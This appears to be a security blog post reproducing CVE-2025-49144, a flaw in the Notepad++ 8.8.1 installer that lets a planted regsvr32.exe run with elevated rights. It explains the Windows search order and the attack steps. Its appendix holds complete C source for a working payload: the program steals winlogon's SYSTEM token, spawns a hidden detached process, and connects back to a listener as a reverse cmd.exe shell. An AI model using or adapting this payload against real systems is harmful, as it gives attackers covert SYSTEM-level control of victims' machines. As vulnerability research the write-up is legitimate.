Skip to main content
  1. Posts/

[Reproduce] CVE-2025-49144 - Notepad++: Uncontrolled Executable Search Order

·6 mins
CVE

1. Overall #

CVE-2025-49144 is a local privilege escalation vulnerability in the installer of Notepad++ 8.8.1 due to uncontrolled executable search path (binary planting).

During the installation process, the installer calls regsvr32 without specifying an absolute path, leading to a preference for searching in the current directory. An attacker only needs to place a malicious regsvr32.exe alongside the installer file for the malware to be executed with elevated privileges (admin/SYSTEM depending on the context).

The issue has been patched in 8.8.2 by calling regsvr32 from the system directory.

2. Analysis #

2.1 Patch diffing #

Chuỗi hành vi cốt lõi được nêu rõ trong advisory Github như sau:

Installer calls: ExecWait 'regsvr32 /u /s "$INSTDIR\\NppShell_01.dll"'

instead of specifying an absolute path: ExecWait '$SYSDIR\\regsvr32.exe /u /s "$INSTDIR\\NppShell_01.dll"'

To understand this bug better, we need to understand the search order of Windows: when no absolute path is specified, according to Microsoft, Windows will search in the following order (stopping at the first match, and automatically appending .exe if missing):

  • The directory containing the calling process (application directory – where the installer’s .exe file is located)
  • The current directory of the parent process (usually the same as the directory you are running from – often matching Downloads)
  • System32 (%SystemRoot%\\System32)
  • System (16-bit)
  • Windows directory (%SystemRoot%)
  • Folder in PATH (following the order from left to right in the PATH variable)

2.1. Flow analysis #

TLDR:
1. Place crafted regsvr32.exe into the Downloads folder.

2. Download and run the Notepad++ 8.8.1 installer from the same folder (double-click + accept UAC).

3. Since the installer calls regsvr32 without specifying a path, Windows will search in the following order and run regsvr32.exe from the installer's directory before C:\\Windows\\System32.

4. Result: crafted regsvr32.exe is executed with the privileges of the installer (elevated).

5. If our payload can take token SYSTEM (token duplication) then attacker can spawn shell NT AUTHORITY\\SYSTEM; if not, payload still runs with the privileges of the user currently running the installer.

First of all, Notepad++ 8.8.1 installer runs ExecWait 'regsvr32 /u /s "$INSTDIR\\NppShell_01.dll"' to unregister old shell extension.

Next, the search order activates the binary that the attacker has planted in advance: because the installer calls regsvr32 without specifying the absolute path, Windows will search in the order I explained above, so if there is a “fake” regsvr32.exe available in the same folder as the installer (e.g., Downloads), it will be called before the one located in C:\\Windows\\System32\\.

And because the privileges of the installer are elevated via UAC, the binary it invokes will also inherit those privileges.

→ At this point, we have basically succeeded in understanding the concept of the bug and have achieved privilege escalation.

During my research, sometimes I have seen screenshots showing that the SYSTEM privileges were obtained in the PoC, so I want to add that to obtain the nt authority/system privileges, we need to design a binary specifically for obtaining SYSTEM privileges, otherwise we will only get the privileges of the user running the installer.

After obtaining admin privileges, I implement an additional step in the payload to achieve a higher-level shell: duplicating the token from a process running under SYSTEM (winlogon.exe), then calling CreateProcessWithTokenW to create a new cmd.exe process with that token -> the result is a shell running under NT AUTHORITY\SYSTEM. This is an extension of the payload (phase 2) rather than the default behavior of ExecWait or a simple reverse shell.

And to avoid making the installer hang, the payload is designed to be detached / self-reexec: the parent process (called by the installer) will duplicate the token and spawn a independent child process running under SYSTEM, then exit immediately. The installer sees that regsvr32.exe has finished and continues the installation normally, while the SYSTEM shell of the attacker remains active and can interact through the listener.

3. PoC Video #

Please watch the PoC video here to see how the attack works in practice:

4. Appendix #

1. Source code: #

  • regsvr32.c:

    #define _CRT_SECURE_NO_WARNINGS
    #include <winsock2.h>
    #include <windows.h>
    #include <tlhelp32.h>
    #include <stdio.h>
    #include <wchar.h>
    #include <shellapi.h>
    
    #pragma comment(lib, "Ws2_32.lib")
    #pragma comment(lib, "Advapi32.lib")
    
    #define LHOST "127.0.0.1"
    #define LPORT 4444
    
    SOCKET g_sock = INVALID_SOCKET;
    HANDLE g_hChildStd_IN_Wr = NULL;
    HANDLE g_hChildStd_OUT_Rd = NULL;
    
    DWORD FindWinlogonPid() {
        PROCESSENTRY32W pe32 = { 0 };
        pe32.dwSize = sizeof(PROCESSENTRY32W);
        HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnap == INVALID_HANDLE_VALUE) return 0;
    
        if (Process32FirstW(hSnap, &pe32)) {
            do {
                if (_wcsicmp(pe32.szExeFile, L"winlogon.exe") == 0) {
                    DWORD pid = pe32.th32ProcessID;
                    CloseHandle(hSnap);
                    return pid;
                }
            } while (Process32NextW(hSnap, &pe32));
        }
        CloseHandle(hSnap);
        return 0;
    }
    
    DWORD WINAPI SocketToPipe(LPVOID lpParam) {
        char buffer[4096];
        int bytesRead;
        DWORD bytesWritten;
        while ((bytesRead = recv(g_sock, buffer, sizeof(buffer), 0)) > 0) {
            WriteFile(g_hChildStd_IN_Wr, buffer, bytesRead, &bytesWritten, NULL);
        }
        return 0;
    }
    
    DWORD WINAPI PipeToSocket(LPVOID lpParam) {
        char buffer[4096];
        DWORD bytesRead;
        while (ReadFile(g_hChildStd_OUT_Rd, buffer, sizeof(buffer), &bytesRead, NULL) && bytesRead > 0) {
            send(g_sock, buffer, bytesRead, 0);
        }
        return 0;
    }
    
    int DoChildWorkAndServeShell() {
        WSADATA wsaData;
        if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0) return 1;
    
        g_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (g_sock == INVALID_SOCKET) return 1;
    
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(LPORT);
        addr.sin_addr.s_addr = inet_addr(LHOST);
    
        if (connect(g_sock, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
            closesocket(g_sock);
            WSACleanup();
            return 1;
        }
    
        send(g_sock, "Connected SYSTEM shell...\r\n", 27, 0);
    
        SECURITY_ATTRIBUTES saAttr = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
        HANDLE hOutRead = NULL, hOutWrite = NULL, hInRead = NULL, hInWrite = NULL;
        if (!CreatePipe(&hOutRead, &hOutWrite, &saAttr, 0)) return 1;
        if (!CreatePipe(&hInRead, &hInWrite, &saAttr, 0)) { CloseHandle(hOutRead); CloseHandle(hOutWrite); return 1; }
    
        SetHandleInformation(hOutRead, HANDLE_FLAG_INHERIT, 0);
        SetHandleInformation(hInWrite, HANDLE_FLAG_INHERIT, 0);
    
        g_hChildStd_IN_Wr = hInWrite;
        g_hChildStd_OUT_Rd = hOutRead;
    
        STARTUPINFOW si;
        PROCESS_INFORMATION pi;
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
        si.hStdInput = hInRead;
        si.hStdOutput = hOutWrite;
        si.hStdError = hOutWrite;
        si.wShowWindow = SW_HIDE;
    
        WCHAR cmdPath[] = L"C:\\Windows\\System32\\cmd.exe";
    
        if (!CreateProcessW(NULL, cmdPath, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
            CloseHandle(hInRead); CloseHandle(hInWrite);
            CloseHandle(hOutRead); CloseHandle(hOutWrite);
            closesocket(g_sock);
            WSACleanup();
            return 1;
        }
    
        CloseHandle(hInRead);
        CloseHandle(hOutWrite);
    
        CreateThread(NULL, 0, PipeToSocket, NULL, 0, NULL);
        CreateThread(NULL, 0, SocketToPipe, NULL, 0, NULL);
    
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    
        closesocket(g_sock);
        WSACleanup();
        return 0;
    }
    
    int ParentDuplicateTokenAndSpawnChildDetached() {
        HANDLE hToken = NULL;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return 1;
    
        TOKEN_PRIVILEGES tp;
        LUID luid;
        if (!LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid)) { CloseHandle(hToken); return 1; }
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        CloseHandle(hToken);
    
        DWORD pid = FindWinlogonPid();
        if (pid == 0) return 1;
        HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
        if (!hProc) return 1;
    
        HANDLE hWinlogonToken = NULL;
        if (!OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hWinlogonToken)) { CloseHandle(hProc); return 1; }
        CloseHandle(hProc);
    
        HANDLE hDupToken = NULL;
        if (!DuplicateTokenEx(hWinlogonToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hDupToken)) { CloseHandle(hWinlogonToken); return 1; }
        CloseHandle(hWinlogonToken);
    
        WCHAR pathBuf[MAX_PATH];
        DWORD len = GetModuleFileNameW(NULL, pathBuf, MAX_PATH);
        if (len == 0 || len == MAX_PATH) { CloseHandle(hDupToken); return 1; }
    
        WCHAR cmdLine[MAX_PATH + 32];
        _snwprintf(cmdLine, _countof(cmdLine), L"\"%s\" --child", pathBuf);
    
        STARTUPINFOW si;
        PROCESS_INFORMATION pi;
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESHOWWINDOW;
        si.wShowWindow = SW_HIDE;
    
        DWORD creationFlags = CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP;
        BOOL ok = CreateProcessWithTokenW(hDupToken, 0, NULL, cmdLine, creationFlags, NULL, NULL, &si, &pi);
        CloseHandle(hDupToken);
    
        if (!ok) return 1;
    
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    
        return 0;
    }
    
    int main(void) {
        int argc;
        LPWSTR *argvw = CommandLineToArgvW(GetCommandLineW(), &argc);
        if (argvw == NULL) return 1;
    
        if (argc >= 2 && _wcsicmp(argvw[1], L"--child") == 0) {
            LocalFree(argvw);
            return DoChildWorkAndServeShell();
        }
        LocalFree(argvw);
        return ParentDuplicateTokenAndSpawnChildDetached();
    }
    

2. Reference Links: #